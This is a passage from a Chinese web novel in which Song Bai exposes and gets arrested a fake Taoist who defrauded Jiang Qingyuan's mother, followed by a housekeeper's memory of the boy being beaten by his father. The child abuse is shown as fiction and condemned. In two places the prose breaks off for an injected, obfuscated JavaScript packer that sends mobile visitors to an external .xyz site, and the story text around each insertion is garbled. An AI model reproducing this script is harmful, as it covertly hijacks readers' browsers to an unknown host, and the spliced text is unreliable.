会议室里已经坐着一个人了,吕驾鹤视线掠过落地窗外崭新的高楼大厦,落到了会议桌尽头的主座上。
是个年轻人,也就上大学的年纪。吕驾鹤不由地直了直背,他对这个年轻人的印象还很深。
六天前见到他的时候,他抱着江清圆看向他的眼神,吕驾鹤现在想起来,后背依然发凉。
哪里是个大学生的眼神,分明像杀人犯。
“坐。”宋柏朝他仰了仰下巴。
吕驾鹤微笑点头。他毕竟也是老江湖了,心里再怎么惴惴,脸上还是一片高人风范,跟片云似的,飘过去坐在了宋柏身边。
“小友年少有为,大有前途呀。”摸了摸胡子,吕驾鹤先开口了。
这话说的倒也真心,他屁/股下这栋写字楼位置在涧州市中心的中心,周围除了全国有名的电商平台总部,就是世界有名的各类奢侈品的销售店。
哪怕宋柏只是在这栋写字楼里的一层里租了几间当办公室,但一个大学生,能张罗起有这样一个初创公司,绝对担得起年少有为,大有前途这八个字。
“我一路走过来,你们这一层啊,小友公司占了风水最好的一块地。”见宋柏并未理会自己的恭维,吕驾鹤一点不显尴尬,继续呵呵笑道,“以后公司发展大了,需要另择更大的司址,我也是懂一些风水堪舆之术的。”
他边说边透过透明的会议室,打量着外头的办公区,就看见一个光头的不良青年,邪笑着朝自己歪了歪脖子。
吕驾鹤:“……”
他顿时不敢再乱看,收回目光,心思回到了宋柏身上,心里难免有些不屑,这人当初要报警他还记得呢,但五天过去了,哪有警察来找他?
吕驾鹤后背施施然靠上椅背,觉得宋柏到底是个学生,不知道是怕警察,还是忌惮自己。
老实人,和兰盛莲这类走入极端的人一样,吕驾鹤心里进行了一个评级,先套套近乎,找到死穴,很容易就拿捏了。
他心思千回百转的一大圈,对面宋柏依旧沉默。
吕驾鹤眼睛这才朝宋柏脸上瞥去,就撞入了一双很冷静的眸。宋柏的视线一直没有从他身上离开,他的瞳孔极黑,加上极具进攻性的五官,目光冷冷罩下来的时候,很容易让人生出被看穿,无所遁形之感。
吕驾鹤笑容僵了一下,不自在地扭了扭腰:“小友?”
宋柏还是没理会他,一直看的吕驾鹤脸上没有笑容了,才慢慢开口:“你和兰盛莲,是怎么逼迫江清圆休学的。”
“这事?”吕驾鹤怔了一下后,笑了,他摇了摇头,“休学这事,是他自愿的。”
宋柏平静道:“你当我是傻子吗?”
“哪里哪里,小友这样的青年才俊,当然是很聪明的,”吕驾鹤连忙摆手,脸上一副无奈,“也没有什么不能说的,当时兰老板找到我苦苦哀求,我看她丧子之痛实在可怜,加上她求的事情只有我有办法。实在不忍,就给她想了这么一个办法。”
他说得一本正经:“江清圆小友听到能帮妈妈找回哥哥,自然是一口答应了。”
“你本事很大?”宋柏勾了勾唇角。
“没有没有,”吕驾鹤谦虚道,“只是得各位老板抬爱,有什么事情要办,都爱来找我,慢慢有了些名声罢了。”
“吕宏达,和兴市下关镇吕家村人。1973年生,今年51岁,初中肆业,”宋柏轻笑一声,将一个透明文件夹摔在吕驾鹤眼前,“肆业后来到涧州,因诈骗坐过两次牢。2019年服刑结束后,开始伪装成道士,继续坑蒙拐骗至今。”
“这就是你的本事。”宋柏声音并未加重,怒气却再也不克制,吕驾鹤后背寒毛当即竖了一背。
吕驾鹤,不,吕宏达低头一看,和自己放大的一寸照结结实实地来了个对视。一寸照旁边,简历似的,从他出生到现在的大小事件,按时间线,从上往下一清二楚。
吕宏达只瞟了一眼,就震惊地抬头看向宋柏,他已经很多年不回老家了,还故意让人往老家传过消息,说他死在了外面。
与此同时,他还学了表演,花大价钱费力弄到了道士证。前面那么多老板都没发现,宋柏是怎么查到的?!
“伪装成道士骗取他人钱财,也是诈骗罪。根据我国法律规定,诈骗金额较大的,可处三年以上十年以下有期徒刑;金额特别巨大的,可判十年以上有期徒刑。”
宋柏漆黑得让人不寒而栗的眼睛看过来,好奇地轻声问:“你觉得你是较大,还是巨大?”
“是江铸,江铸把我介绍给兰盛莲的。”吕宏达咽了一口唾沫,彻底慌了,“别报警,我说,我都说。”
宋柏冷静地看着他的崩溃,心里算着回家买菜给江清圆做午饭的时间。
摁下会议室窗帘,宋柏对吕宏达实在没什么耐心:“别糊弄我,长话短说。”
“江铸是江清圆的爸爸,这个你知道吧?”吕宏达是真的怕了,毫无保留地一股脑倒了出来,“江骄死了后,兰盛莲就开始找道士和尚了。”
吕宏达坐直了身子:“她现在的小儿子,江耀,就是兰盛莲听一个道士的话,算着时间,和江铸生的。想再生一个江骄。”
一个没有江骄记忆,但要和江骄长得一样,性格一样的江骄。
“所以我给她出的方法,也不是我自己想出来的,是参考她以前做法有的灵感嘛!不然你说这样变态的法儿,谁能一下子接受?”
吕宏达真觉得兰盛莲是个天才,江骄刚出车祸去世一年,她就能和江铸重新生个儿子。不对,是重新生个江骄。
吕宏达就算是初中没毕业,也知道这不科学啊。
生出来的孩子当然和江骄长得不一样,兰盛莲却没有被这个现实打醒,反而觉得是江铸的错。是江铸没有按照大师的说法,在他们的房间摆满江骄的照片。
江铸自然是觉得她疯了。两个人陷入更加激烈的争吵,直到婚姻维系不下去,离婚后各自从小别墅搬了出去。
搬出去后,兰盛莲对江铸开始了长达数年的报复。
两人没离婚前一起做的酒店生意,鼎盛的时候几乎将涧州这个著名旅游城市的酒店行业垄断了。离婚后产业各自一半,兰盛莲对江铸的这一半产业进行了不择手段地破坏。
江铸哪里能忍,碰巧在一次聚会认识了吕宏达后,经过五分钟的慎重思考,第二天,江铸就邀请了他。
“你去帮帮我前妻,别让她老盯着我了。”江铸开门见山,“价格你开。”
吕宏达自然知道江铸说的帮是哪种“帮”。
吕宏达对天发誓,他一开始并不想干,虽然这个活能让他的事业更上一个台阶,但兰盛莲这人太偏执,想复活自己儿子这事又太异想天开。
直到他看见江铸递给她的兰盛莲资料。
吕宏达视线在她儿子一栏,江清圆的名字上停住了:“江骄还有个双胞胎弟弟?”
“嗯,”江铸坐在大大的办公桌后面,忙着在文件上签字,听见这话后头都没有抬一下,“他你随便。”
吕宏达的目光在江清圆三个字上停留了许久,答应了下来。
有了江清圆,事情就简单很多,他可以把兰盛莲对江铸的怨恨,转移到江清圆身上。
吕宏达接过江铸递过来的空支票,在1后面毫不心虚地填上了八个零,美滋滋地盘算着在兰盛莲那里还能拿更多。
至于江清圆?
算他倒霉呗。
谁让爹不疼娘不爱。
“一开始让江清圆回来,”吕宏达说得口干舌燥,声音都哑了三度,看宋柏一点没给他水的意思,只好自己咽了口唾沫,“是兰老板直接给电影学院打了个电话,说江清圆精神不稳定,自己愿意给学校捐一栋楼,请学校同意休学。”
如果江清圆真的精神不稳定,但凡是个正常大学,都会同意休学,但兰盛莲在后面加了一个捐楼,意思也显而易见——她希望学校觉得江清圆精神不稳定。
吕宏达苦笑了一声:“电影学院询问了江清圆后,没放人。一是人家这么有名一个学校,肯定不会为了一栋楼去逼退一个学生,二是江清圆好像还挺优秀的,是他们那一届重点培养对象。”
“但后来兰老板给江清圆打了一个电话,他就自己回来了,”吕宏达摊了摊手,“具体说的什么,我也不知道。”
他抬手揉了揉喉咙:“我都说了,后面的你也都知道了。这单生意我可以不做了,只要你别报警。”
六天前从小别墅出来后,他就想跑了。吕宏达平常看江清圆脾气好得不得了,兔子一样,实在没料到惹急了,性子能那么烈。
他是坑蒙拐骗,不是想谋财害命啊,这刑期都不一样的好吧!
吕宏达想了想,低声道:“对不起啊。”
宋柏慢慢摊开腿上攥紧的手掌,黑漆漆的瞳孔里一片寒意:“这话你不应该对我说。”
*
“这边。”
吕宏达跟着宋柏拐了一个弯,向别墅区深处走去。
“你答应我的你不报警的哈。”吕宏达飘在宋柏身边,再一次确认。
宋柏看着别墅门口江清圆窜进去的衣角,又扫了扫骑着电动车从他身边飞驰而过的外卖骑手,点了点头。
吕宏达心落回肚子里,跟着宋柏再一次进了这栋让他印象深刻的小别墅。
进屋换了鞋,宋柏朝餐桌一瞥,咕噜已经不在那里了。
楼梯间传来下楼的声音,宋柏抬头,江清圆正从楼上跑下来,在他们身前站定,一副今天第一次见到他们的样子。
宋柏看着他有些潮红的脸颊,就是演技不太好。
江清圆有些紧张地瞥了瞥宋柏身旁的吕宏达,想了想,还是小声打了招呼:“吕道长好。”
吕宏达哪里还敢再担这一声道长,连忙弯腰摆手:“不不不,以后别这么叫我了。”
他一把把鼻梁上没有镜片的眼镜摘下来,悻悻地道:“我这回过来,是给你道歉的。”
在江清圆疑惑震惊的目光下,吕宏达声音更低了:“我不叫吕驾鹤,我叫吕宏达。”
江清圆更加惊愕的目光朝宋柏看去,宋柏走近他,声音温和:“我们一起跟上去看看?”
吕宏达已经率先往楼上走去。
江清圆看着吕宏达上楼的背影。吕宏达总是和兰盛莲一起出现,做出一些让他害怕的事情,江清圆看见他的第一想法,从来就是远离。
今天本来也不例外。
江清圆感受着身边宋柏身上因靠近传来的温度,可能是太过温暖?江清圆最初的慌张过去,他惊讶地发现,此时的他并没有往常那样不安。
腿侧紧紧攥住裤子的手指松开,江清圆懵懵懂懂的,却没有犹豫地点了点头:“好。”
楼上,吕宏达见江清圆上来后,顿了顿,但看了一眼他身后的宋柏,开始转过身,开始伸手撕他亲手贴在墙上的符纸。
第一张符纸在眼前被撕掉的时候,江清圆像是做梦一样,哎了一声。
他视线里,吕宏达躬着腰,从上往下,吭哧吭哧将客厅里的符纸撕下后,转过身,深深朝他鞠了一躬:“对不起。”
江清圆愣在了那里。
“我不是什么道士,就是一个骗子,这些符纸,都是我在网上买的,50块钱1000张。”吕宏达捏着符纸,低下因羞耻而通红的脸,一个字一个字地挤道,“那些给你妈妈说的话,都是我编的。”
“你不是命格不好,车祸是意外,你奶奶的病也不是一天形成的,他们的去世,不是因为你。”
江清圆站在原地,像是没听见他说的这些话。
吕宏达见江清圆没理自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074096|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脸更红了,手足无措了一会儿,推门进了卧室,开始撕卧室墙面上的符纸。
江清圆沉默地注视着一张张符纸被吕宏达撕下来,从客厅到卧室,整个二楼重新干净了起来。
清道夫一样撕了一个多小时,吕宏达终于把整个二楼,他亲手贴上的符纸,又一个不剩地亲手撕了下来。
抱着满满一垃圾袋的符纸,吕宏达脸上的红被累得更真切了些。他满脸的汗,也没手擦,只能任汗流进脖子里,浸湿了他的衣领和后背,让他整个人狼狈得厉害,再不复仙风道骨的姿态。
“我就先走了。”吕宏达抱着死沉的垃圾袋,只想快点从这丢死人的地方逃出去。
回答他的不是向来好欺负的江清圆。
宋柏视线从江清圆颤抖的指尖收回,看向吕宏达,语气一如他会议室里的平静:“这就完了?”
这话像一个满含羞辱的巴掌,甩到了吕宏达因为觉得被羞辱而通红的脸上。他手指死死扣着垃圾袋,在原地僵持了许久,还是转向了江清圆。
肩膀垮了下来,吕宏达整个人微微颤抖着,声音如蚊蝇:“对不起。”
“鞠躬,”宋柏轻声道,“大声。”
吕宏达心里将宋柏辱骂了一万遍,难堪地再一次弯下了腰:“对不起,请你原谅我。”
响亮的道歉声响彻在空荡荡的二楼。
江清圆没有回答。
“继续。”宋柏道。
“对不起,请你原谅我…”
“对不起,请你原谅我。”
“对不起,请你原谅我!”
“……”
声音一声比一声大,吕宏达的汗也一下比一下多。江清圆没有看他,只是看着他砸向地上的汗珠:“我听到了。”
吕宏达的声音立马停住,却还是不敢直起腰。
江清圆刚想开口让他起来,冰凉的手腕上就落下一份干燥的温暖,侧过头,江清圆看见宋柏温和的目光:“可以不原谅他。”
符纸被撕掉了又如何,抬眼看去,还有残留的胶痕遍布。
“他的道歉弥补不了万一,你受到的伤害也还在。”宋柏一字一句地说,“所以你有不原谅的权利。”
江清圆在吕宏达一声声道歉里都没有变化的眼眶,在宋柏这句话里慢慢红了。
他往前走了走,在吕宏达身前站定。
他第一次没有畏惧地看着吕宏达:“我不会原谅你。”
吕宏达腰更低了些。
江清圆抿了抿唇,轻声道:“但我也不在乎你。所以,以后别再出现在我面前了。”
“还有,把从我妈妈那里赚的钱还回去。”
吕宏达胡乱地点头:“好好。”
他就这么抱着装满符纸的垃圾袋,一步步点头哈腰地往小别墅外面走去。
吕宏达脚步越来越快,等离江清圆和宋柏足够远了,心中的羞耻立马退去,他擦干净脸上的汗,嘴角再度飘逸地弯起。
还钱?哈哈,什么天大的笑话!
他来的时候就偷偷订好高铁票了,等下一远走高飞,中国那么大,兰盛莲和宋柏能拿他怎么办?
这么想着,吕宏达出了小别墅大门,一时都忘了把腰抬起来。
直到他闷头撞上一个人的腰。
吕宏达抬起头,看见马上要贴在他鼻梁上的,警察证上大大的公安两字,脑子没反应过来,僵在了原地。
“你好,我们是涧州市公安局溪湖区分局民警,接到报警你涉嫌诈骗罪,现依法对你进行逮捕。”
吕宏达愣了一下,忍不住蹦了起来,他破口大骂:“他爷爷的,宋柏这孙子说不报警的!”
“宋柏?”警察不认识地皱了皱眉,对旁边的同事道,“扣走。”
手被扭起来,扣上银手铐的时候,吕宏达顾不得掉在地上的垃圾袋,在符纸的废墟上,拼命扭过头,朝小别墅里看去。
隔着远远的花园,他看见了宋柏对他遥遥的,勾了勾唇角。
瞳孔里,没有一丝笑意。
江清圆站在门口,看着吕宏达被押送进警车,也转过头看向宋柏:“你报警了?”
“没有啊,”宋柏对着他,又是一副老实大学生的样子,耐心给他提供思路,“也可能是他以前的老板,发现自己原来是被他骗了,报了警。”
江清圆听着,觉得有道理。
但还有一些疑问:“你是怎么说服他来的?”
宋柏看着他严肃的脸色,想让他笑笑,不怎么熟练地开着玩笑:“怎么就是我呢,说不定是我买菜的时候碰见他了,你人这么好,我一劝,他就来了。”
江清圆听完,脸上没有一点点笑意。
宋柏低了声音,问:“怎么了?”
江清圆抬头看了他一眼,又低下脑袋,留给他一个乌黑柔软的发顶,好久好久,那发顶下才传来一句很小的声音:“宋柏,我不知道怎么报答你。”
江清圆低垂的两只手狠狠地绞着,只觉得欠了宋柏好多好多账。宋柏背他下山,宋柏给他上药,宋柏在难堪中救下他,宋柏又拉着吕宏达给他道歉。
江清圆头一回被一个人的好严严实实包裹住,他立身其中,相比感动,更多的是惶惶然。
因为他发现自己越想报答,越什么都拿不出。
宋柏静静看了他好久,心中叹了一口气,笑着道:“那给我涨工资吧。”
他不是没有私心,他想让江清圆觉得他好,感受到他与别人对他的不同,并奢望着江清圆在某一刻,能对他生出一点好感。
这些是宋柏的贪心,但这些都不重要。
宋柏看着江清圆猛地抬起头,眼睛亮晶晶对他点头的样子,心中再次确定。
是的,这些都不重要。
因为相比起这些,他更想要江清圆心安。
宋柏想让江清圆能睡个好觉。
23.23
“回去吧。”宋柏见江清圆脸上终于有了笑,不愿意他再被吕宏达扰乱心思,带他回了屋。
门关上,警车的汽笛声被隔绝在外,宋柏将他带到餐桌前:“今天是想吃时令炒鲜菌,还是喝菌菇汤?”
江清圆目光从餐桌上宋柏买回来的一大堆菜上掠过,落到了他手上:“还没有好吗?”
六天过去了,宋柏手背上,依旧包着纱布。
江清圆每天都有注意他的手,觉得现在还没好,除了他割得深外,一定有宋柏每天都要做饭的缘故。
做饭这件事情,江清圆在宋柏做第一顿的时候,就阻止过他。
当时宋柏站在厨房门口,手受伤的那条长胳膊把持这门口,抬起的高度,刚好能让包扎着的白布和江清圆视线齐平:“我现在不放心你接触刀。”
江清圆说:“那我做饭的时候,你可以在旁边看着。”
宋柏道:“我看你做饭,会伤口疼。”
江清圆:“……”
江清圆无法,只能退出厨房,给宋柏买最好的割伤药膏给他用,在每天吃午饭的时候观察宋柏的伤口。
但再慢的伤,六天过去最起码也该结痂,不用包那么厚的纱布了呀。
江清圆盯着宋柏手上的伤口,百思不得其解,是宋柏这几天做饭的时候碰到水了吗?那他一定要想办法不能让宋柏再做饭了。
“我血小板低,凝血功能不好而已,”宋柏催促,“快选吧,不然等黄阿姨来了,又要说替我做了。”
江清圆听着,不由得笑了,黄阿姨哪里都好,就是可能因为口味问题,做饭有些太太太咸了。
她两天前上门打扫卫生的时候,碰上宋柏正准备做饭,热情而勤劳的中年劳动妇女只用了一秒,就从宋柏手中抢到了锅碗瓢盆,给他们抄了一份菠菜鸡蛋。
江清圆和宋柏吃的时候,什么都没说,一直忍到黄阿姨打扫完卫生。
听见黄阿姨关上门的那刻,两人不约而同地奔向厨房放水的地方,什么都没说,行动高度一致地各自抽了一瓶农夫山泉。
开盖,仰头。
吨吨吨……
“我那天在楼上没听见黄阿姨来,不然肯定不劳烦她下手。”江清圆现在想起来都想笑自己,“黄阿姨十几年前就在我们家工作了,我五岁的时候吃过她一次炒的菜,从此以后她再也没在我家下过厨。”
“小圆!”一声格外洪亮的声音从江清圆身后响起,“今儿起这么早,看来昨天没有熬夜。”
江清圆回头一看,说曹操曹操到,黄阿姨不知什么时候,已经站到门口,正在换鞋。
“吃时令炒鲜菌吧,”江清圆低声给宋柏说,说完向门口走去,在黄阿姨身前站定,接过她手里的遮阳伞,大声道,“我好久都不熬夜了。”
黄秀英笑着捏了捏他的肩膀:“好孩子!”
她说完,歪头又给宋柏打了个招呼,她隔两天来一次,两三次相处,已经能让自来熟的她和宋柏处好关系了:“还没开始做呢?”
“今儿吃啥?”黄秀英换好鞋,往饭桌上凑,看了眼笑了,“这么多菌子啊?那我是北方人,可不懂,只能给小柏你打下手了。”
江清圆和宋柏都松了一口气,宋柏笑道:“那您可帮我大忙了。”
“可不是,我瞅着你这手就没法沾水,专门早来了会儿。”黄秀英手一拢,杂技一样,桌上大大小小的塑料袋就全部乖乖挂到了她手指头上。
她提着塑料袋往里走,还不忘招呼宋柏:“马上十一点了,小柏,咱俩可要快点开始做喽。”
“去工作吧。”宋柏笑着嘱咐了江清圆后,转头跟上了黄秀英。
江清圆站在那里,怎么都看不明白,宋柏是怎么这么招黄阿姨喜欢。
他这方面还是太没有生活经验,要他此时出门拉一个上年纪的大妈一问,大妈一句话就能解决他的疑惑——“多适合做女婿啊!”
黄秀英站在厨房里,看着走进来的宋柏,看几次满意几次。
人高高大大的,学历也高,又帅,会做饭照顾人,不但人老实,还特别尊敬老人,简直是满分女婿嘛!
就是可惜自己女儿娃都上小学了。
黄秀英心里惋惜着自己闺女出生太早,就听见宋柏问:“黄阿姨,我想问下,小圆爸爸是个什么样的人?”
黄秀英洗菜的手停了一下,笑呵呵地道:“有本事得嘞,他和老婆家里都穷,全靠他俩自己把生意做得那么大,你说是不是有本事?他以前还住这里的时候,我看他从来都没半夜一点前睡过觉。”
“对外人也礼貌,”黄秀英打开水龙头,按照宋柏的指示,开始用清水冲洗蘑菇,“从来没有对我大声说过话。”
宋柏手里拿刀刮着野生菌的泥根,问:“那对小圆呢?”
黄秀英响亮的声音没有像往常那样立马响起,宋柏转头看过去,看见黄秀英捏着菜的手顿在了哗啦啦的水龙头下面
宋柏又提醒了一声,黄秀英才回过伸,她一向洪亮的声音罕见地低了下去:“不好。”
黄秀英不想深说,但见宋柏不依不饶地看着自己,想起来宋柏这几天对江清圆是真的好,应该是真拿他当兄弟了。
水龙头哗啦啦空流了好久,黄秀英唉了一声,把堵在心头十几年的那口闷气吐了出来:“小骄去世的那段时间,江先生经常打小圆。”
黄秀英现在想起来,都还是生气。
那段时间,小别墅里宛如另一个地狱,要么是能冻死人的寂静,要么充斥着歇斯底里地喊叫。
江铸和兰盛莲最常在吃饭的时候吵架。
先是弥漫着谁都能察觉的压抑,然后是不知道谁多夹了一筷子菜,或是喝粥的声音响了,争吵就爆发了。
“我给你说江铸,我早看你妈不顺眼了,年年中秋过年,大小节都要闹着一家人回老家陪她过,”兰盛莲通常先摔筷子,“要不是她,我们今年中秋就不会回老家,不回老家,就不会出车祸!”
江铸摁着被她筷子打到的脸,也伸手摔了自己的筷子:“我妈那是可怜你每次回家都当受气包,这才把你叫回老家,想让你好好过个节!你发什么疯,骄骄出车祸是我想的吗?我不伤心吗?啊?!”
“你伤心?”兰盛莲猛地站起了身子,椅子在地上磨出一声刺耳急促的刮擦声,“哈哈,你伤心个屁江铸,你伤心骄骄出事第二天你就能跟平常一样开会?就能第三天去公司上班?”
“昨天的饭局好吃吗?”兰盛莲喊道,眼中的恨要把持不住,“你儿子尸骨未寒,你倒是把酒言欢上了。”
江铸像一头被激怒的斗牛,红着脸也站起身,伸手指着兰盛莲:“我不开会你当生意会自己做下去,兰盛莲我告诉你,我在努力撑起这个家,你不理解就算了,还在这里发疯。”
“不想过就趁早离了!”
兰盛莲站在那里,没有接他这句话,只是看着江铸的目光像隔了一整个天堑。她胸脯起伏得厉害,剧烈的喘气声中,含着恨的眼睛慢慢流下滚烫的泪。
死一般的寂静不知僵持了多久,兰盛莲猛地转过来脸,看向餐桌的另一角:“你哭什么,你有什么好哭的?”
小小的江清圆瑟瑟缩在桌角,一只手把着碗,另一只举着筷子的手从他们开始吵架就没有动过了,仰着的一张小小的,没有一点血色的脸上,流着两串豆大的泪。
被妈妈这么一吼,他抖了一下,想将嘴里含着的那半勺米汤咽下去,但不知道为什么,喉咙又痛又堵。
咽了好几下,米汤才穿过喉咙流下去,江清圆声音细细颤抖着:“对…呜…对不起,我,我不…呃…哭了。”
他嘴里这么说着,眼泪却不听话,更多更急地流了下来。
江清圆一时急得想将自己蜷缩起来。
但兰盛莲已经跨过椅子,朝他走了过来,她一把抽出江清圆手里的筷子,又将他的碗扫开,厉声道:“你还哭!”
“你哭什么?!”兰盛莲一只手掐住江清圆的肩膀,大力摇晃起来,“你哥哥就是被你害死的,你还有脸哭?”
妈妈愤怒的脸在他眼前扭曲地晃着,江清圆泪眼里看着这一切,只觉得一切都天旋地转起来,慢慢的,眼前就什么都看不清了。
“哎呦!”黄秀英在旁边终于看不下去,她跑过来,从兰盛莲手里抢回江清圆,“孩子烧了五天刚好,哪能这样晃啊!”
小小的江清圆软软靠在她怀里,哪都是冰凉的。细细的双手和腿无力地垂着,要不是还有泪从垂着的脸上留下来,简直像个被抽掉棉花的娃娃,而不是活人。
黄秀英往桌子上一瞅,心里忍不住叹了口气,江清圆发烧的五六天都没吃下什么东西,今天好容易不烧了,她特意嘱咐来做饭的阿姨给这孩子煮了点青菜瘦肉粥,指望着他能吃下去点。
现在看过去,小半碗还是小半碗。
江清圆只来得及吃了两勺,爸爸妈妈就开始吵架了。
兰盛莲被这么一打断,也冷静了下来,她冷冷地瞪了黄秀英怀里的江清圆一眼,再也没心情吃这本就吃不下去的饭,就要摔门回屋。
就在转身之前,江清圆说话了。
十岁的孩子湿润润的眼睛可怜地望过来,害怕得瞳孔都是颤动的,但还是鼓足勇气乞求道:“爸爸妈妈,求求你们,不要离婚。”
兰盛莲怔了一下,笑了,她蹲下身去,注视着江清圆的眼睛,一字一句慢慢地说道:“我们如果离婚,也是你害的。”
江清圆瞳孔不颤抖了,他整个人像被这句话定住一样,泪都忘了流,一直等兰盛莲转身回屋都没发现。
黄秀英听着,都想落下泪来,但终究不好说些什么,她只能抱紧江清圆,看向江铸,想让他安慰一下江清圆。
但看见江铸面色的那一眼,黄秀英就放弃了这个想法。
江铸的目光正落在江清圆身上,里面的含着和兰盛莲一样的,厌恶。
黄秀英只能等江铸也走了,才伸手给江清圆擦眼泪,粗糙的手掌心划过孩子柔嫩的脸颊,给他惨白的脸上擦出了点血色。
黄秀英低声道:“小圆听黄阿姨说,妈妈说的都是大人说的气话,她和爸爸不会离婚。爸爸妈妈还都是爱你的。”
最后一句话她越说越没底气,却让江清圆却她怀里仰起了头。他冰凉的手握颤抖地握上黄秀英的手,琥珀色的瞳孔里全是破碎不堪的泪光。
但他还是像真的被安慰道那样,点了点头,小声道:“谢谢黄阿姨。”
黄秀英哎呦一声,将江清圆重新抱进了怀里。
她的手放在小小孩子柔软的发顶揉呀揉,却怎么也揉不开心里的心酸。
黄秀英以为江铸虽然不喜欢自己这个儿子,但最多也就不喜欢了。
“你知道旁边那户人家吗?”黄秀英给宋柏指了指左边,“这家的男女主人都是做考古的,他们有个闺女,叫柳青青,是小圆的发小,他俩五岁就认识了。”
宋柏炒菌子的手停了一下,道:“这个我倒是不知道。”
黄秀英不意外:“这个不是重点,重点是柳青青她爸妈常年全国各地跑的,这小姑娘性子又厉害,小区里孩子见她爸妈老不在身边,慢慢的,就开始欺负她。”
柳青青那时候和江清圆已经是朋友了,但小姑娘性子要强,她眼里,江清圆都是那个需要她保护的软柿子。
所以纵然被欺负了好几次,也都没给江清圆说。
还是江清圆自己碰见的。
黄秀英想起来这个事,可怜中又忍不住笑:“你知道小圆是怎么做的吗?”
宋柏想着江清圆十岁的样子,别说做什么大事了,就是往那一站,就能让他心软成一片。
宋柏摇了摇头:“怎么做的?”
黄秀英慢慢给他讲,眼中带着笑。
江清圆一看柳青青被一群小孩围在一起,当即就没上前,脑袋转了一圈,从旁边花坛里捡起一块石头,站得远远的,用最大力气,朝里面最高的那个扔了过去。
石头砸到了他腰上。
见呼啦啦一群脑袋土拨鼠似地转了过来,江清圆朝他们做了个大大的鬼脸,大声喊道:“一群大笨蛋,来捉我啊!”
说完转身就跑。
后面跟着一群乌啦啦的大孩小孩。
“也不知道他平时安安静静,怎么跑那么快的。”黄秀英买菜回来,在小区里遇到了找江清圆的柳青青,听她说了这事后,两个人又转了好久,终于在小区深处花园里,一座废弃雕像后面找到了江清圆。
江清圆蹲在雕像后面,瞪着一双眼睛,此时头顶要有双兔子耳朵,肯定是高高竖着的。
听见他们的脚步声,他还要跑,还是柳青青眼睛尖:“江清圆!”
江清圆这才没窜走。
他站在那里,喘着气,一双眼睛却很亮。
“哎呀!”黄秀英走近,放下手里的菜,去捉他的胳膊,“怎么受伤了,疼不疼?”
江清圆胳膊上一片血红的擦伤。
“刚刚跑得太快,不小心磕的,不疼,”江清圆老老实实承认,被黄秀英捏着的胳膊摇了摇,到底是个11岁的孩子,被关心了,声音里就不自觉带上了撒娇,“黄阿姨,您别给我爸爸妈妈说。”
他家里那种情况,黄秀英当然不可能去告状:“不说不说,阿姨给你擦药膏哈。”
她顺着胳膊往上看,还想看江清圆有没有其他地方摔伤了,视线在看到江清圆上衣短袖下的皮肤后,愣住了。
一块青紫明晃晃横在他那里。这样的伤黄秀英再熟悉不过,是被人拿手指头拧出来的。
江清圆却没注意她的目光,他见柳青青过来,将手里的东西递给她,眼睛弯弯的:“谢谢你上次请我吃冰淇淋。”
柳青青低头一看,是一瓶饮料。
她很喜欢喝这个饮料,但爸爸妈妈觉得小孩子喝多了饮料身体不好,就告诉家里保姆,管着不让她喝。
柳青青几天前给江清圆提过一嘴。
手里的饮料因为被人放在怀里跑了好久,瓶身摸起来温温的,但一点泥土都没有。
柳青青抬头,看着江清圆因为跌倒沾着土的上衣。
柳青青记得江清圆在家是没有零花钱的。
但江清圆每回来找她玩,都会给她带零食。
柳青青捏着饮料,刚刚被一群小孩堵着都没有红的眼眶一下子红了,她上前两步想说什么,就看见江清圆被黄秀英抱了起来。
柳青青去看黄秀英的脸色,就看见邻居家这个向来和蔼的阿姨紧紧绷着脸,眼睛里都是怒火
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078586|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
黄秀英因常年劳作腰不好,那天却一只手抱着江清圆,一只手提着菜,一口气回了小别墅。
进了屋后,黄秀英将菜放下来,抱着江清圆上了二楼。
怀里的孩子两只胳膊环着他的脖子,看出来她的生气,就将自己的脸颊贴在她脸上,软软暖暖的一小片。
黄秀英眼睛里一下子就有了泪。
她抱着江清圆停在二楼书房门前,将江清圆放下来后,狠狠敲了敲书房的门。
门开了,江铸站在门后,看见是黄秀英,礼貌地问道:“有什么事吗?”
黄秀英不说话,蹲下来卷起江清圆的短袖,露出了江清圆布满青紫痕迹的胳膊。
黄秀英将江清圆两边的短袖都卷了起来,又去卷他的衣摆,没有出她所料,小男孩细细白白的腰上,除了拧的青紫痕迹,还有一些更大块的,是踢出来的。
黄秀英抬头看江铸。
自从车祸去世,江铸和兰盛莲的争吵越来越激烈后,这段时间每次吵完,江铸就会把江清圆叫进书房里。
看着紧闭的书房门,黄秀英猜到了江铸是拿江清圆撒气。
一进去就是一两个小时,有回江清圆出来后,黄秀英拉着他,在角落里也偷偷问过:“爸爸让小圆在书房门里干什么了?”
江清圆低着头,眼睛红红的,抿着嘴好一会儿才说:“罚站。”
黄秀英伸手,将他脸颊上的泪都给抹去,安慰道:“罚站啊,那还好,小圆不哭,很快就过去了,我们忍一忍好不好?”
她是一个外人,能怎么办,只能让江清圆忍忍。
她手一碰上去,江清圆就颤抖了一下,颤抖过后,他乖乖地点了点头,声音好小好小:“好。”
黄秀英愤怒又后悔地看着江铸。
她没有想到,江清圆口中的“罚站”,居然是这样子的。
江铸的目光扫下来,从她的身上看到害怕的江清圆身上,又看回她身上。
“黄阿姨,您明天不用来了,工资我今天给您结掉。”江铸一如刚才,冷静礼貌地说道。
